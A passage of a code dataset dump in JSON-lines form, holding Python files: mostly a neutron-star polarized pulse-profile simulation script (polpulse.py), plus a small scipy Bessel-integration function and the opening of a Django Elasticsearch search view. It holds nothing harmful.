soup.find_all('h2')\n","sub_path":"game_scaper.py","file_name":"game_scaper.py","file_ext":"py","file_size_in_byte":7892,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"327964677","text":"#!/usr/bin/python\n#This is the main program to calculate polarized pulse profiles (to be run with driver.py or to be called by the sampling method in newmc.py).\n#Set SavePulse=True if want to save the output in a file\n#This version uses simplThomson atmosphere model as in Salmi+ 2021, and reads the precomputed models from (a) file(s).\n#This code is based on cs_ts2_func.py found in https://github.com/thjsal/CompSlab \n#and on cs.py found in https://github.com/belliavesha/CompSlab (developed by Vladislav Loktev).\n#Small differences in implemenation and computation accuracy may exist between the different versions of the code.\n\n\nSpectrum={\n 1:'simplThomson', \n 0:'FromFile'\n}[0]#[1] \n\noblateness='AlGendy'\n\n#import:\nfrom numpy import linspace, logspace, empty, zeros, ones, array, fromfile\nimport matplotlib\nmatplotlib.use('agg')\nfrom numpy import pi, exp, log, sqrt, sin, cos, arccos, arctan2\nfrom numpy import absolute, sign, floor, ceil, argmin\nfrom numpy.polynomial.laguerre import laggauss\nfrom numpy.polynomial.legendre import leggauss\nfrom scipy.interpolate import interp1d#,CubicSpline \nfrom scipy.interpolate import CubicSpline \nfrom scipy.interpolate import interp2d\nfrom scipy.special import kn\nfrom matplotlib.pyplot import *\nfrom bisect import bisect\n\n\ndef find_idx(array, value):\n array = np.asarray(array)\n idx = (np.abs(array - value)).argmin()\n return idx\n\ndef Planck(x,T):\n\tconstbb= 5.039617e22 \n\tex=exp(-x/T)\n\tevere=.5109989e6 # electron volts in elecron rest energy\n\tkeV = (x*evere)/1e3\n\tI=constbb*keV**3*ex/(1.0-ex) #in erg cm^-2 s^-1 str^-1 keV^-1\n\n\treturn I\n\n#Beaming:\ndef angledep(mu, NZenith):\n\ta = -0.7\n\tb = 0\n\tc= 0.5 /(0.5+1*a/3+1*b/4)\n\tmudep = zeros(NZenith)\n\tfor i in range(NZenith):\n\t\tmudep[i]=c*(1+a*mu[i]+b*mu[i]**2)\n\tsumi=0\n\treturn mudep\n\n#Beaming function based on the Thomson slab model (read from a file):\ndef angledep_thom(mu, NZenith, x, e, AtmNamex):\n\tinI = open(AtmNamex+'I.bin')\n\tinx = open(AtmNamex+'x.bin')\n\tinm = open(AtmNamex+'m.bin')\n\tx2=fromfile(inx)\n\tmu=fromfile(inm)\n\tNEnergy=len(x2)\n\tNZenith=len(mu)\n\tNMu=int(NZenith/2)\n\tIntensity=fromfile(inI).reshape((NEnergy,NZenith,2))\n\tIntensity[:,:,0] = np.nan_to_num(Intensity[:,:,0])\n\tmudep = zeros(NZenith)\n\tfor d in range(NZenith):\n\t\tfI = interp1d(x2, Intensity[:,d,0], kind=\"linear\")\n\t\tI = fI(x)\n\t\tmudep[d] = I\n\n\n\tsumi=0 #normalize beaming so that \\int over \\muI\\dmu = 0.5 as for isotropic case\n\tfor d in range(NMu,NZenith):\n\t\tif(d==NMu):\n\t\t\tdmu = ((mu[d+1]+mu[d])/2.0)-((mu[d]+0.0)/2.0)\n\t\telif(d==NZenith-1):\n\t\t\tdmu = ((1.0+mu[d])/2.0)-((mu[d]+mu[d-1])/2.0)\n\t\telse:\n\t\t\tdmu = ((mu[d+1]+mu[d])/2.0)-((mu[d]+mu[d-1])/2.0) \n\t\tsumi = sumi+mu[d]*mudep[d]*dmu\n\tnorm=1.0/(sumi*2.0)\n\tmudep=mudep*norm\n\n\treturn mudep\n \ndef simpl(NEnergy, ear, T):\n\tseed = zeros(NEnergy)\n\tx = ear\n\tergkev = 1.0/(1.0e3*1.602176565e-12)\n \n \n\tfor i in range(0, NEnergy):\n\t\tseed[i] = Planck(x[i], T)\n\n\tgamma = 1.8\n\tswitch = 0\n\tnorm = 0.6\n\n\ttmparr = zeros(NEnergy)\n\tenavgam1 = zeros(NEnergy)\n\tenavgam2 = zeros(NEnergy)\n\tengam1 = zeros(NEnergy)\n\tengam2 = zeros(NEnergy)\n\tphotar_sp1 = zeros(NEnergy)\n\tphotar_sp2 = zeros(NEnergy)\n\n\tif(gamma==1):\n\t\tgamma=1.001\n\n\tgamma1=gamma-1\n\tgamma2=gamma+2\n\n\tfor i in range(0, NEnergy):\n\t\tengam1[i]=x[i]**(-gamma1)\n\t\tif(i!=0):\n\t\t\ttmparr[i]=0.\n\t\t\tenavgam1[i]=(0.5*(x[i-1]+x[i]))**gamma1\n\n\n\tif(switch > 0):\n\t\tfor i in range(1, NEnergy):\n\t\t\ttmparr[i]=tmparr[i]+seed[i]*(1.-enavgam1[i]*engam1[i])\n\t\t\tfor j in range(i+1, NEnergy):\n\t\t\t\ttmparr[j]=tmparr[j]+enavgam1[i]*(engam1[j-1]-engam1[j])*seed[i]\n\n\t\n\tif(switch <= 0):\n\t\tgnormUP=(gamma+2.)/(1.+2.*gamma)\n\t\tgnormDN=(gamma-1.)/(1.+2.*gamma)\n\t\tfor k in range(0, NEnergy):\n\t\t\tengam2[k]=x[k]**[gamma2]\n\t\t\tif(k!=0):\n\t\t\t\tenavgam2[k]=(0.5*(x[k-1]+x[k]))**(-gamma2)\n\n\t\tfor i in range(1,NEnergy):\n\t\t\ttmparr[i]=tmparr[i]+seed[i]*((1.-enavgam1[i]*engam1[i])*gnormUP+gnormDN*(1.-engam2[i]*enavgam2[i]))\n\n\t\t\tfor j in range(1,NEnergy):\n\t\t\t\tif(ji):\n\t\t\t\t\ttmparr[j]=tmparr[j]+enavgam1[i]*(engam1[j-1]-engam1[j])*seed[i]*gnormUP\n\n\tfor i in range(0, NEnergy):\n\t\tphotar_sp1[i]=(1.-norm)*seed[i]\n\t\tphotar_sp2[i]=norm*tmparr[i]\n\n\tphotar_sp2[0] = photar_sp2[1]*.9\n \n\treturn photar_sp1, photar_sp2\n\ndef poldeg(pol, mu):\n\treturn pol*(mu - 1.)/(1. + 3.582*abs(mu))\n\ndef poldegfromfile(x, e, d, AtmNamex):\n\tinI = open(AtmNamex+'I.bin')\n\tinx = open(AtmNamex+'x.bin')\n\tinm = open(AtmNamex+'m.bin')\n\tx2=fromfile(inx)\n\tmu=fromfile(inm)\n\tNEnergy=len(x2)\n\tNZenith=len(mu)\n\tNMu=NZenith/2\n\tIntensity=fromfile(inI).reshape((NEnergy,NZenith,2))\n\n\tIntensity[:,:,0] = np.nan_to_num(Intensity[:,:,0])\n\tIntensity[:,:,1] = np.nan_to_num(Intensity[:,:,1])\n\n\tfI = interp1d(x2, Intensity[:,d,0], kind=\"linear\")\n\tI = fI(x)\n\tfQ = interp1d(x2, Intensity[:,d,1], kind=\"linear\")\n\tQ = fQ(x)\n\n\t\n\tif(I[e]<1e-10):\n\t\treturn 0\n\n\tp = Q[e]/I[e]\n\treturn p\n\ndef compf(mass,eqrad,incl_deg,theta_deg,rho_deg,pol,spherical=False,antipodal=False,spath=\"pulse_test_00\",savePulse=False,nene=281):\n\tPulsName=spath\n\n\tprint(\"HELLO\")\n\n\tcolors=['xkcd:brownish red',\n\t\t'xkcd:red',\n\t\t'xkcd:orange',\n\t\t'xkcd:dark yellow',\n\t\t'xkcd:dark yellow green',\n\t\t'xkcd:deep green',\n\t\t'xkcd:dark cyan',\n\t\t'xkcd:blue',\n\t\t'xkcd:purple' \n\t] # 'rygcbm' # Rainbow \n\tNColors=len(colors)\n\n\t#physical constants:\n\tevere=.5109989e6 # electron volts in elecron rest energy \n\tG=13275412528e1 # G*M_sol in km^3/s^2 \n\tc=299792458e-3 # speed of light in km/s\n\n\t# Atmosphere parameters: \n\ttau_T= 1.0 # Thomson optical depth of thermalization \n\tx_l, x_u = -3.7 , -1.2 # -3.7 , .3 # -3.7, -1.2 # lower and upper bounds of the log_10 energy span\n\tT = 0.002 # 10/evere # dimensionless photon black body temperature T = k T_bb / m_e c^2 #~ 1.0219978 keV\n\n\t#precomputations : Done already beforehand\n\n\tNEnergy = nene #50 #281 #50#500#281#50 #281 # 50# 101 # number of energy points (x)\n\tNMu = 9 #22 # 20# 15 # number of propagation zenith angle cosines (\\mu) [0,1]\n\tNZenith = 2*NMu # number of propagation zenith angles (z) [0,pi]\n\tIntEnergy = logspace(x_l,x_u,NEnergy), log(1e1)*(x_u-x_l)/(NEnergy-1.) # sample points and weights for integrations over the spectrum computing sorce function\n\tIntZenith = leggauss(NZenith) # sample points and weights for integrations over zenith angle in positive and negative directions together \n\n\tmu,mu_weight=IntZenith\n\tx,x_weight=IntEnergy\n\tkeV = (x*evere)/1e3\n\n\n\tif Spectrum=='simplThomson' : # Initializing Stokes vectors arrays, computing zeroth scattering \n\t\tIntensity=zeros((NEnergy,NZenith,2)) # total intensity of all scattering orders from the slab suface \n\t\tphotar_sp1, photar_sp2 = simpl(NEnergy, x, T)\n\t\txNorm = 1\n\n\t\tmudep = (1+2.06*mu*(pol/0.1171))*exp(-tau_T/mu)\n\t\tmudepc = np.ones((len(mu))) #exp(-tau_T/mu) #np.ones((len(mu))) #beaming used as comparison case\n\t\tsumi=0 #normalize beaming so that \\int over \\muI\\dmu = 0.5 as for isotropic case or for some other preference\n\t\t#cbeam=0\n\t\tfor d in range(NMu,NZenith):\n\t\t\tif(d==NMu):\n\t\t\t\tdmu = ((mu[d+1]+mu[d])/2.0)-((mu[d]+0.0)/2.0)\n\t\t\telif(d==NZenith-1):\n\t\t\t\tdmu = ((1.0+mu[d])/2.0)-((mu[d]+mu[d-1])/2.0)\n\t\t\telse:\n\t\t\t\tdmu = ((mu[d+1]+mu[d])/2.0)-((mu[d]+mu[d-1])/2.0)\n\t\t\tsumi = sumi+mu[d]*mudep[d]*dmu\n\t\t\t#cbeam = cbeam+mu[d]*mudepc[d]*dmu\n\t\tcbeam=0.5 #for isotropic\n\t\tNormb0=cbeam/sumi\n\n\t\tmudep_n0 = Normb0*(1.0+2.06*mu*(pol/0.1171))*exp(-tau_T/mu) \n\n\n\t\tfor e in range(NEnergy):\n\n\t\t\tinterp = False #True\n\t\t\tif(interp==False):\n\t\t\t\tif(pol<0.001):\n\t\t\t\t\tpdstr=\"0\"\n\t\t\t\telse:\n\t\t\t\t\tpdstr=\"1171\"\n\t\t\t\t#AtmName_angdep = '../../../CompSlab/res/ixpe_spec_final/tau10_te01/grid_res_pbi_NN_no0/atmos_thom_p'+pdstr \n\t\t\t\tAtmName_angdep = 'atmos_thom/atmos_thom_n0_p'+pdstr #angdep from file not including zero scattered photons\n\t\t\t\tmudep_thom = angledep_thom(mu,NZenith,x[e],e,AtmName_angdep)\n\t\t\t\tfor d in range(NZenith):\n\t\t\t\t\tIntensity[e,d,0]=photar_sp1[e-1]*mudep_n0[d]+photar_sp2[e-1]*mudep_thom[d]\n\t\t\t\t\t#Intensity[e,d,1]=Intensity[e,d,0]*poldegfromfile(x,e,d,'../../../CompSlab/res/ixpe_spec_final/tau10_te01/grid_res_pbi_NN/atmos_thom_p'+pdstr) \n\t\t\t\t\tIntensity[e,d,1]=Intensity[e,d,0]*poldegfromfile(x,e,d,'atmos_thom/atmos_thom_y0_p'+pdstr) #PD from model including also zeroth scattering\n\t\t\telse: #This part is deprecated. It was used in preliminary work where \"pol\" was free to have any values\n\t\t\t\tmdp1 = angledep_thom(mu,NZenith,x[e],e,AtmNamex1)\n\t\t\t\tmdp2 = angledep_thom(mu,NZenith,x[e],e,AtmNamex2)\n\t\t\t\tmudep_thom = mdp1*((pds[ip]-pol)/(pds[ip]-pds[ip-1]))+mdp2*(1.0-(pds[ip]-pol)/(pds[ip]-pds[ip-1]))\n\t\t\t\tfor d in range(NZenith):\n\t\t\t\t\tIntensity[e,d,0]=photar_sp1[e-1]*mudep_n0[d]+photar_sp2[e-1]*mudep_thom[d]\n\t\t\t\t\tP1 = poldegfromfile(x,e,d,AtmNamex1) \n\t\t\t\t\tP2 = poldegfromfile(x,e,d,AtmNamex2) \n\t\t\t\t\t##linear interpolation:\n\t\t\t\t\tPtot=P1*((pds[ip]-pol)/(pds[ip]-pds[ip-1]))+P2*(1.0-(pds[ip]-pol)/(pds[ip]-pds[ip-1]))\n\t\t\t\t\tIntensity[e,d,1]=Intensity[e,d,0]*Ptot\n\n\n\t\t\t\t\n\n\n\tif Spectrum=='FromFile' :\n\t\tAtmName='Comp_e100mu9_'\n\t\t#AtmName='../../../CompSlab/res/ixpe_spec_final/tau10_te01/atmos_thom_p11'\n\t\tinI = open(AtmName+'I.bin')\n\t\tinx = open(AtmName+'x.bin')\n\t\tinm = open(AtmName+'m.bin')\n\t\txi=fromfile(inx)\n\t\tmui=fromfile(inm)\n\t\tNEnergyi=len(xi)\n\t\tNZenithi=len(mui) #assumed to be same as NZenith\n\t\tIntensityf=fromfile(inI).reshape((NEnergyi,NZenithi,2))\n\t\tIntensity=zeros((NEnergy,NZenith,2))\n \n\t\tIntensityf[:,:,0] = np.nan_to_num(Intensityf[:,:,0])\n\t\tIntensityf[:,:,1] = np.nan_to_num(Intensityf[:,:,1])\n\n\t\tfor d in range(0,NZenith): \n\t\t\tfI = interp1d(xi, Intensityf[:,d,0], kind=\"linear\")\n\t\t\tI = fI(x)\n\t\t\tfQ = interp1d(xi, Intensityf[:,d,1], kind=\"linear\")\n\t\t\tQ = fQ(x)\n\t\t\tIntensity[:,d,0]=I\n\t\t\tIntensity[:,d,1]=Q\n\n\n\n\n\tNPhi = 120 #500 #120 # Number of equidistant phase points\n\tNPhase = 150 #500# 150 # Number of observation phases\n\tNBend= 20 # Number of knots in light bending integrations\n\tNAlpha= 200#1000 # 10000 # Number of psi/aplha grid points \n\tIntBend = leggauss(NBend)\n\tNZenithBig=100\n\t#NZenithBig = NZenith\n\n\tphi=linspace(0,2*pi,num=NPhi,endpoint=False,retstep=False)\n\tphase =linspace(0,1,num=NPhase,endpoint=True,retstep=False)\n\tphase_obs=zeros(NPhi)\n\tnu=401.0#1.0#100 #600 # star rotation frequency in Hz\n\t#M=1.4 # star mass in solar masses\n\tM=mass #input param\n\tR_g=M*2.95325 # gravitational Schwarzschild radius #TS: Made this more accurate\n\t#R_e=12.0 # equatorial radius of the star in kilometers\n\tR_e=eqrad #input param\n\n\t#Increase the resolution for the following when considering large spots!:\n\tNRho=4 #4 #20 #4 #40 #4#40#20#4#2#8\n\tNVarphi=2 #6 #20 #2 #40 #2#40#20#6#4\n\n\t# IntVarphi = linspace(0,2*pi,num=NVarphi,endpoint=False,retstep=True)\n\tIntVarphi = leggauss(NVarphi)\n\tIntRho = leggauss(NRho)\n \n\tif oblateness=='AlGendy': # from AlGendy et. al. (2014)\n\t\tOmega_bar=2*pi*nu*sqrt(2*R_e**3/R_g)/c\n\t\tflattening=(0.788-0.515*R_g/R_e)*Omega_bar**2 \n\telif oblateness=='Sphere':\n\t\tflattening=0.0\n\telse:\n\t\tflattening=oblateness\n\n\tif(spherical):#TS: from input param, 0.0 not working in this code\n\t\tflattening = 1e-8\n\n\tdef Beloborodov(cos_psi):\n\t \"\"\"Beloborodov's approximation for cos_alpha(cos_psi) light bending function\n\t takes the cos psi \n\t returns the cos alpha and its derivative\n\t \"\"\"\n\t return 1. + (cos_psi - 1.)/redshift**2 ,1./redshift**2\n\n\tdef Schwarzschild(R,alpha):\n\t \"\"\"Schwarzschild exact relation between the \\psi and \\\\alpha angles, where\n\t \\\\alpha is the angle between radius vector of the spot and the direction of the outgoing photon near the surface\n\t and \\psi is the angle between normal and light propagation at the limit of infinite distance.\n\t For given distance from the mass center and the emission angle \\\\alpha \n\t this function returns two numbers: \n\t the corresponding angle \\psi \n\t and the time lag over against the fotons emited with zero impact parameter at the radius.\n\t \"\"\"\n\t kx,wx=IntBend\n\t eps=(1+kx[0])/4e2\n\t u=R_g/R \n\t b=sin(alpha)/sqrt(1-u)*R # impact parameter\n\t if 2*alpha>pi+eps:\n\t cos_3eta=sqrt(27)*R_g/2/b\n\t if cos_3eta > 1:\n\t return pi+2*eps,0 # the timelag \n\t closest_approach=-2*b/sqrt(3)*cos(arccos(cos_3eta)/3 + 2*pi/3)\n\t psi_max, lag_max= Schwarzschild(closest_approach,pi/2.)\n\t psi_min, lag_min= Schwarzschild(R,pi-alpha)\n\t psi=2*psi_max - psi_min \n\t lag=2*lag_max - lag_min # + 2*(R - closest_approach + R_g*log((R - R_g)/(closest_approach - R_g)))/c \n\t if psi>pi:\n\t return pi+eps,lag\n\t else:\n\t psi=0\n\t lag=(R_e - R + R_g*log( (R_e - R_g)/(R - R_g) ) )/c\n\t for i in range(NBend):\n\t ex=(kx[i]+1)/2\n\t q=(2. - ex*ex - u*(1 - ex*ex)**2/(1 - u))*sin(alpha)**2\n\t sr=sqrt(cos(alpha)**2+ex*ex*q)\n\t if 2*alpha>pi-eps:\n\t dpsi=b/R/sqrt(q)*wx[i] #*2/2\n\t else:\n\t dpsi=ex*b/R/sr*wx[i] #*2/2\n\t dlag=dpsi*b/c/(1+sr) #*2/2\n\t psi+= dpsi\n\t lag+= dlag\n\t return psi,lag\n\t#flattening=0\n\tNRadius=2 + int(flattening*R_e/1e-1)\n\tNRadius=4+ int(flattening*R_e/1e-1)\n\tr, dr = linspace(R_e*(1 - flattening),R_e,num=NRadius,retstep=True)\n\talpha, dalpha = linspace(0,arccos(-1/sqrt(2*r[0]/R_g/3)),NAlpha,retstep=True)\n\tpsi=zeros((NRadius,NAlpha))\n\tdt=zeros((NRadius,NAlpha))\n\tfor d in range(NRadius):\n\t\t#print(d)\n\t\tfor a in range(NAlpha):\n\t\t\tpsi[d,a],dt[d,a]=Schwarzschild(r[d],alpha[a])\n\n\n\n\tFlux=zeros((NPhase,NEnergy,3))\n\tFlux_obs=zeros((NPhi,NEnergy,3))\n\n\ti=pi/180.0*incl_deg#pi*7/18 # line of sight colatitude\n\n\t#Integration over spot:\n\trho_total=rho_deg*pi/180.0#pi/5 #pi*5/180 # radius of the spot\n\ttheta_center=pi/180.0*theta_deg#pi/4.1\n\n\tNSpots=0\n\tvarphi,dvarphi=IntVarphi[0]*pi,IntVarphi[1] *pi\n\trho,drho=(IntRho[0]+1)*rho_total/2,(IntRho[1])*rho_total/2\n\n\tl=[]\n\ttheta=[]\n\tdS=[]\n\n\tfor v in range(NVarphi):\n\t\tfor rh in range(NRho):\n\t\t\tNSpots+=1 \n\t\t\tcos_theta=cos(theta_center)*cos(rho[rh])+sin(theta_center)*sin(rho[rh])*cos(varphi[v])\n\t\t\tsin_l=sin(rho[rh])*sin(varphi[v])/sqrt(1- cos_theta**2)\n\t\t\tcos_l=sqrt(1- sin_l**2)\n\t\t\tif cos_theta*cos(theta_center)> cos(rho[rh]) : \n\t\t\t\tcos_l=-cos_l \n\t\t\tl.append(arctan2(-sin_l,-cos_l) + pi)\n\t\t\ttheta.append(arccos(cos_theta)) \n\t\t\tdS.append(drho[rh]*dvarphi[v]*sin(rho[rh]))\n\t\t\t#print(v,rh,cos_theta,cos_l,sin_l,l[-1],theta[-1],dS[-1])\n\t\t\tif antipodal :\n\t\t\t\tNSpots+=1\n\t\t\t\tl.append(arctan2(sin_l,cos_l) + pi)\n\t\t\t\ttheta.append(pi- theta[-1])\n\t\t\t\tdS.append(dS[-1])\n\t\t\t#print(v,rh,cos_theta,cos_l,sin_l,l[-1],theta[-1],dS[-1])\n\n\n\tsin_i=sin(i)\n\tcos_i=cos(i)\n\n\tBoloFlux=zeros((NPhase,3))\n\tz=cos(linspace(-pi/2,pi/2,num=NZenithBig))\n\tlogIntensity=zeros((NEnergy,NZenithBig,3))\n\n\n\n\n\n\tfor e in range(NEnergy):\n\t\tIntInt=CubicSpline(mu[NMu:],Intensity[e,NMu:,0],extrapolate=True) # interpolate intensity\n\t\tIQ=CubicSpline(mu[NMu:],Intensity[e,NMu:,1],extrapolate=True) #\n\n\n\n\n\t\tfor d in range(NZenithBig):\n\t\t\tlogIntensity[e,d] = log(max(0,IntInt(z[d]))),log(absolute(IQ(z[d]))),sign(IQ(z[d]))\n\n\tmu=z.copy() \n\n\tfor p in range(NSpots):\n\t\tsin_theta=sin(theta[p])\n\t\tcos_theta=cos(theta[p])\n\n\t\tR=R_e*(1 - flattening*cos_theta**2) \n\t\tdR=2*R_e*flattening*cos_theta*sin_theta # dR / d\\theta\n\n\t\tr1=bisect(r[1:-1],R) \n\t\tr2=r1 + 1\n\t\tdr1=(R - r[r1])/dr\n\t\tdr2=(r[r2] - R)/dr\n\n\t\tredshift=1.0/sqrt(1.0 - R_g/R) # 1/sqrt(1-R_g/R) = 1+ z = redshift\n\t\tf=redshift/R*dR\n\t\tsin_gamma=f/sqrt(1 + f**2) # angle gamma is positive towards the north pole \n\t\tcos_gamma=1.0/sqrt(1 + f**2)\n\t\tbeta=2*pi*nu*R*redshift*sin_theta/c\n\t\tGamma=1.0/sqrt(1.0 - beta**2)\n\t\tGamma1= (1.0-sqrt(1.0 - beta**2) )/ beta\n\n\t\tfor t in range(NPhi):\n\t\t\tif True: # find mu\n\t\t\t\tphi0=phi[t]+l[p]\n\t\t\t\tsin_phi=sin(phi0)\n\t\t\t\tcos_phi=cos(phi0)\n\t\t\t\tcos_psi=cos_i*cos_theta + sin_i*sin_theta*cos_phi\n\t\t\t\tsin_psi=sqrt(1. - cos_psi**2)\n\n\n\t\t\t\tpsi0=arccos(cos_psi) \n\t\t\t\ta1=bisect(psi[r1], psi0)\n\t\t\t\ta2=bisect(psi[r2], psi0)\n\t\t\t\tif(a1 >= len(psi[r1])):\n\t\t\t\t\ta1=len(psi[r1])-1\n\t\t\t\tif(a2 >= len(psi[r2])):\n\t\t\t\t\ta2=len(psi[r2])-1\n\t\t\t\tpsi1=psi[r1,a1]\t\t\t\t\t\n\t\t\t\tpsi2=psi[r2, a2]\n\t\t\t\tdpsi1=psi1 - psi[r1, a1 - 1]\n\t\t\t\tdpsi2=psi2 - psi[r2, a2 - 1]\n\t\t\t\tdpsi=dpsi1*dr2 + dpsi2*dr1\n\t\t\t\tdalpha1 = dalpha*(psi1 - psi0)/dpsi1\n\t\t\t\tdalpha2 = dalpha*(psi2 - psi0)/dpsi2\n\t\t\t\talpha1=alpha[a1] - dalpha1\n\t\t\t\talpha2=alpha[a2] - dalpha2\n\n\t\t\t\tcos_alpha = cos(alpha2*dr1 + alpha1*dr2) # linear interpolation of alpha(psi)\n\t\t\t\tsin_alpha = sqrt(1. - cos_alpha**2)\n\t\t\t\tsin_alpha_over_sin_psi= sin_alpha/sin_psi if sin_psi > 1e-4 else 1./redshift\n\t\t\t\tdcos_alpha=sin_alpha_over_sin_psi *dalpha/dpsi # d cos\\alpha \\over d \\cos \\psi\n\n\t\t\t\t# cos_alpha, dcos_alpha=Beloborodov(cos_psi) # insert exact formula here\n\t\t\t\t# sin_alpha = sqrt(1. - cos_alpha**2)\n\t\t\t\t# sin_alpha_over_sin_psi= sin_alpha/sin_psi if sin_psi > 1e-4 else 1./redshift\n\n\t\t\t\tdt1=dt[r1,a1 - 1]*dalpha1/dalpha + dt[r1,a1]*(1. - dalpha1/dalpha)\n\t\t\t\tdt2=dt[r2,a2 - 1]*dalpha2/dalpha + dt[r2,a2]*(1. - dalpha2/dalpha)\n\n\t\t\t\tdphase=(dt1*dr2 + dt2*dr1)*nu # \\delta\\phi = \\phi_{obs} - \\phi \n\t\t\t\t#dphase = 0\n\t\t\t\tphase_obs[t]=( phi[t]/2/pi+dphase)%1.\n\n\t\t\t\tcos_xi = - sin_alpha_over_sin_psi*sin_i*sin_phi\n\t\t\t\tdelta = 1./Gamma/(1.-beta*cos_xi)\n\t\t\t\t#if(p==0):\n\t\t\t\t#\tprint(phase_obs[t], \" \",delta, \", \")\n\t\t\t\tcos_sigma = cos_gamma*cos_alpha + sin_alpha_over_sin_psi*sin_gamma*(cos_i*sin_theta - sin_i*cos_theta*cos_phi)\n\n\t\t\t\tsin_sigma = sqrt(1. - cos_sigma**2)\n\t\t\t\tmu0=delta*cos_sigma # cos(sigma')\n\t\t\t\tOmega=dS[p]*mu0*redshift**2*dcos_alpha*Gamma*R*R/cos_gamma\n\n\n\t\t\t\t#print(t,' : \\t',mu0,' \\t ',dcos_alpha,'\\t',cos_alpha,cos_psi,Omega)\n\t\t\t\tif mu0<0: # this only for speeding up. the backwards intensity is usually zero\n\t\t\t\t\tFlux_obs[t]=0\n\t\t\t\t\tcontinue \n\n\n\t\t\t\tif True: # find chi\n\t\t\t\t\tsin_chi_0= - sin_theta*sin_phi # times sin psi\n\t\t\t\t\tcos_chi_0=sin_i*cos_theta - sin_theta*cos_i*cos_phi # times sin psi \n\t\t\t\t\tchi_0=arctan2(sin_chi_0,cos_chi_0)\n\n\t\t\t\t\tsin_chi_1=sin_gamma*sin_i*sin_phi*sin_alpha_over_sin_psi #times sin alpha sin sigma \n\t\t\t\t\tcos_chi_1=cos_gamma - cos_alpha*cos_sigma #times sin alpha sin sigma \n\t\t\t\t\tchi_1=arctan2(sin_chi_1,cos_chi_1)\n\n\t\t\t\t\tsin_lambda=sin_theta*cos_gamma - sin_gamma*cos_theta\n\t\t\t\t\tcos_lambda=cos_theta*cos_gamma + sin_theta*sin_gamma\n\t\t\t\t\tcos_eps = sin_alpha_over_sin_psi*(cos_i*sin_lambda - sin_i*cos_lambda*cos_phi + cos_psi*sin_gamma) - cos_alpha*sin_gamma\n\t\t\t\t\t\t\n\t\t\t\t\t#OR THE ORIGINAL VERSION:\n\t\t\t\t\tsin_chi_prime=cos_eps*mu0*Gamma*beta#*the_thing#*delta**3#*delta\n\t\t\t\t\tcos_chi_prime=(1. - cos_sigma**2 /(1. - beta*cos_xi))#*the_thing\n\n\t\t\t\t\tchi_prime=arctan2(sin_chi_prime,cos_chi_prime) \n\n\t\t\t\t\tchi=chi_0 + chi_1 + chi_prime\n\t\t\t\t\t# print(chi,'\\t',chi_0/chi,'\\t',chi_1/chi ,'\\t', chi_prime/chi )\n\n\t\t\t\t\tsin_2chi=sin(2*chi)\n\t\t\t\t\tcos_2chi=cos(2*chi)\n\n\n\t\t\td2=bisect(mu[:-1],mu0)\n\t\t\td1=d2-1\n\t\t\tmu1,mu2=mu[d1],mu[d2]\n\t\t\tdmu, dmu1, dmu2 = mu2 - mu1, mu0 - mu1, mu2 - mu0\n\t\t\tshift=delta/redshift\n\n\n\t\t\tfor e in range(NEnergy): \n\t\t\t\tx0=x[e]/shift\n\t\t\t\te1=bisect(x[1:-1],x0) # not the fastest way? anybody cares? ## seems, that light bending is more time consuming anyways\n\t\t\t\te2=e1+1\n\n\t\t\t\tx1, x2 = x[e1], x[e2]\n\t\t\t\tdx, dx1, dx2 = x2 - x1, x0 - x1, x2 - x0\n\t\t\t\tlogIQ = (\n\t\t\t\t dx2*dmu2*logIntensity[e1, d1] + \n\t\t\t\t dx2*dmu1*logIntensity[e1, d2] +\n\t\t\t\t dx1*dmu2*logIntensity[e2, d1] +\n\t\t\t\t dx1*dmu1*logIntensity[e2, d2] # bilinear interpolation of the Stokes parameters\n\t\t\t\t)/dx/dmu \n\t\t\t\tI,Q=exp(logIQ[:2])* shift**3 * Omega\n\t\t\t\tQ*=logIQ[2]\n\n\t\t\t\tif I<0: ############\n\t\t\t\t\tprint('never')\n\t\t\t\tFlux_obs[t,e]=[I, Q*cos_2chi, Q*sin_2chi]\n \n\n\t\tfor t in range(NPhase):\n\t\t\tphase0=phase[t]\n\n\n\t\t\t#A newer version from Vlad:\n\t\t\t#for t2 in range(NPhi):\n\t\t\t#\tt1=t2-1\n\t\t\t#\tphase2=phase_obs[t2]\n\t\t\t#\tphase1=phase_obs[t1]\n\t\t\t#\tdphase10 = (phase1-phase0+0.5)%1-0.5\n\t\t\t#\tdphase20 = (phase2-phase0+0.5)%1-0.5\n\t\t\t#\tif dphase10<0.0phase1 and phase0max(phase_obs)):\n\t\t\t\t\tphase0=phase0-1\n\t\t\t\tt2=argmin(phase_obs)\n\t\t\t\tt1=t2-1\n\t\t\t\tphase2=phase_obs[t2]\n\t\t\t\tphase1=phase_obs[t1]-1\n\n\t\t\tdphase1=phase0-phase1\n\t\t\tdphase2=phase2-phase0\n\t\t\tdphase=phase2-phase1\n\t\t\tFlux[t]+=(Flux_obs[t2]*dphase1+Flux_obs[t1]*dphase2)/dphase \n\n\tif savePulse:\n\t\toutF = open(PulsName + 'FF.bin','w')\n\t\toutf = open(PulsName + 'ff.bin','w')\n\t\tFlux.tofile(outF,format=\"%e\")\n\t\tphase.tofile(outf,format=\"%e\")\n\n\treturn Flux\n\n\n\n","sub_path":"fig_tools/polpulse.py","file_name":"polpulse.py","file_ext":"py","file_size_in_byte":20420,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"12923562","text":"# integrate_bessel.py\n\nimport hither2 as hi\n\n@hi.function(\n 'integrate_bessel',\n '0.1.0',\n image=hi.RemoteDockerImage('docker://jsoules/simplescipy:latest'),\n modules=['simplejson']\n)\ndef integrate_bessel(v, a, b):\n # Definite integral of bessel function of first kind\n # of order v from a to b\n import scipy.integrate as integrate\n import scipy.special as special\n return integrate.quad(lambda x: special.jv(v, x), a, b)[0]","sub_path":"examples/integrate_bessel.py","file_name":"integrate_bessel.py","file_ext":"py","file_size_in_byte":451,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"569493858","text":"from django.shortcuts import render\nfrom datetime import datetime\nfrom django.shortcuts import render, HttpResponse\nfrom elasticsearch import Elasticsearch\n\nclient = Elasticsearch('127.0.0.1', port=9200)\n\n\ndef indexluoji(request):\n print(request.method) # 获取用户请求的路径\n return render(request, 'index.html')\n\n\ndef searchluoji(request): # 搜索逻辑处理\n key_words = request.GET.get('q', '') # 获取到请求词\n page = request.GET.get('p', '1') # 获取访问页码\n try:\n page = int(page)\n except:\n page = 1\n start_time = datetime.now() # 获取当前时间\n response = client.search( # 原生的elasticsearch接口的search()方法,就是搜索,可以支持原生elasticsearch语句查询\n 